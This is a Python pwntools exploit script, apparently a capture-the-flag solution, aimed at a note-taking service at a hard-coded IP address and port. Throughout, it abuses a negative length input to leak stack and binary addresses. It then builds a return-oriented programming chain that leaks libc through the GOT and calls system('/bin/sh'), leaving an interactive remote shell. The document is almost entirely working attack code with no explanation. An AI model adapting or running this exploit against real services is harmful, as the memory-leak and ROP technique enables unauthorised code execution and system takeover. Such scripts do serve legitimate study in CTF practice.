|
#!/usr/bin/env python2 |
|
# -*- coding: utf-8 -*- |
|
|
|
from pwn import * |
|
import struct |
|
from utils import misc |
|
|
|
def p(addr): |
|
return struct.pack('<I', addr) |
|
|
|
context.update(arch='x86', os='linux', terminal = ['gnome-terminal', '-e']) |
|
|
|
HOST = '52.78.11.234' |
|
PORT = 20003 |
|
r = remote(HOST, PORT) |
|
|
|
class Exploit(object): |
|
def __init__(self, r, name, pw): |
|
self._r = r |
|
self._name = name |
|
self._pw = pw |
|
def menu1(self): |
|
self._r.readuntil('3) Exit') |
|
def menu2(self): |
|
self._r.readuntil('8) Logout') |
|
def register(self): |
|
print('[*] debug: register') |
|
self.menu1() |
|
self._r.sendline('2') |
|
self._r.readuntil('userid :') |
|
self._r.sendline(self._name) |
|
self._r.readuntil('userpw :') |
|
self._r.sendline(self._pw) |
|
def login(self): |
|
print('[*] debug: login') |
|
self.menu1() |
|
self._r.sendline('1') |
|
self._r.readuntil('userid :') |
|
self._r.sendline(self._name) |
|
self._r.readuntil('userpw :') |
|
self._r.sendline(self._pw) |
|
def create_buggy_note(self, name): |
|
print('[*] debug: create note') |
|
self.menu2() |
|
self._r.sendline('2') |
|
self._r.readuntil('title :') |
|
self._r.sendline(name) |
|
self._r.readuntil('filedata length :') |
|
self._r.sendline('-1') |
|
self._r.readuntil('password :') |
|
self._r.sendline('1') |
|
def edit_buggy_note(self, name): |
|
print('[*] debug: edit') |
|
self.menu2() |
|
self._r.sendline('4') |
|
self._r.readuntil('title :') |
|
self._r.sendline(name) |
|
self._r.readuntil('password :') |
|
self._r.sendline('1') |
|
self._r.readuntil('original data : ') |
|
#print(self._r.clean_and_log()) |
|
#exit(0) |
|
print('[*] debug: got orig data') |
|
NEW_DATA = 'new file data' |
|
#leak = self._r.readuntil(NEW_DATA) |
|
leak = self._r.recv() |
|
print('[*] debug: got new data') |
|
leak = leak[0x488:leak.find(NEW_DATA)] |
|
#print('[*] leak: {!r}'.format(leak[:0x40])) |
|
return leak |
|
|
|
def rand_str(): |
|
return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8)) |
|
|
|
filename = rand_str() |
|
expl = Exploit(r, rand_str(), rand_str()) |
|
expl.register() |
|
expl.login() |
|
expl.create_buggy_note(filename) |
|
leak = expl.edit_buggy_note(filename) |
|
ebp, eip = struct.unpack('<II', leak[:8]) |
|
user_buf = ebp - 0x4c8 |
|
bin_base = eip - 0x292a |
|
print('[*] stack: 0x{:x}'.format(user_buf)) |
|
print('[*] bin_base: 0x{:x}'.format(bin_base)) |
|
|
|
chdir = bin_base + 0x2849 |
|
open_ptr = bin_base + 0x1dcf |
|
|
|
new_ebp = user_buf + 0x20 |
|
flag_ptr = new_ebp - 0x4b0 + 0x28 |
|
|
|
__xstat_got = 0x5659c030 - 0x56597000 |
|
__libc_start_main_got = 0x5659c048 - 0x56597000 |
|
|
|
puts = bin_base + 0x2366 |
|
|
|
nop = bin_base + 0x1f61 |
|
|
|
read = bin_base + 0x1ba6 |
|
|
|
rop2 = '' |
|
rop2 += p(read) |
|
rop2 += p(0) |
|
rop2 += p(new_ebp) |
|
rop2 += p(1024) |
|
|
|
rop = '' |
|
rop = rop.ljust(0x24, 'A') |
|
rop += p(nop) * 3 |
|
rop += rop2 |
|
rop = rop.ljust(0x488, 'A') |
|
rop += p(new_ebp) |
|
rop += p(puts) |
|
rop += p(bin_base+__xstat_got) |
|
rop += p(0) |
|
rop += p(0x41414143) |
|
rop += p(0x41414143) |
|
rop += p(0x41414143) |
|
rop += p(0x41414143) |
|
|
|
sleep(1) |
|
data = r.read(4096, timeout=2) |
|
|
|
r.send(rop) |
|
|
|
data = r.read(4096, timeout=2) |
|
print('data: {!r}'.format(data)) |
|
|
|
i = 1 |
|
for c in misc.chunks(data, 4): |
|
if c != '\x00\x00\x00\x00': |
|
if i == 1: |
|
xstat = struct.unpack('<I', c)[0] |
|
if i == 7: |
|
start_main = struct.unpack('<I', c)[0] |
|
break |
|
i += 1 |
|
|
|
offset_system = 0x0003a920 |
|
offset___xstat = 0x000d3970 |
|
offset_str_bin_sh = 0x15909f |
|
|
|
|
|
print('xstat: 0x{:x}'.format(xstat)) |
|
print('start_main: 0x{:x}'.format(start_main)) |
|
|
|
libc_base = xstat - offset___xstat |
|
system = libc_base + offset_system |
|
print('libc: 0x{:x}'.format(libc_base)) |
|
|
|
rop3 = '' |
|
rop3 += p(nop) * 100 |
|
rop3 += p(system) |
|
rop3 += p(libc_base + offset_str_bin_sh) |
|
rop3 += p(libc_base + offset_str_bin_sh) |
|
r.send(rop3.ljust(1024, 'D')) |
|
|
|
r.interactive() |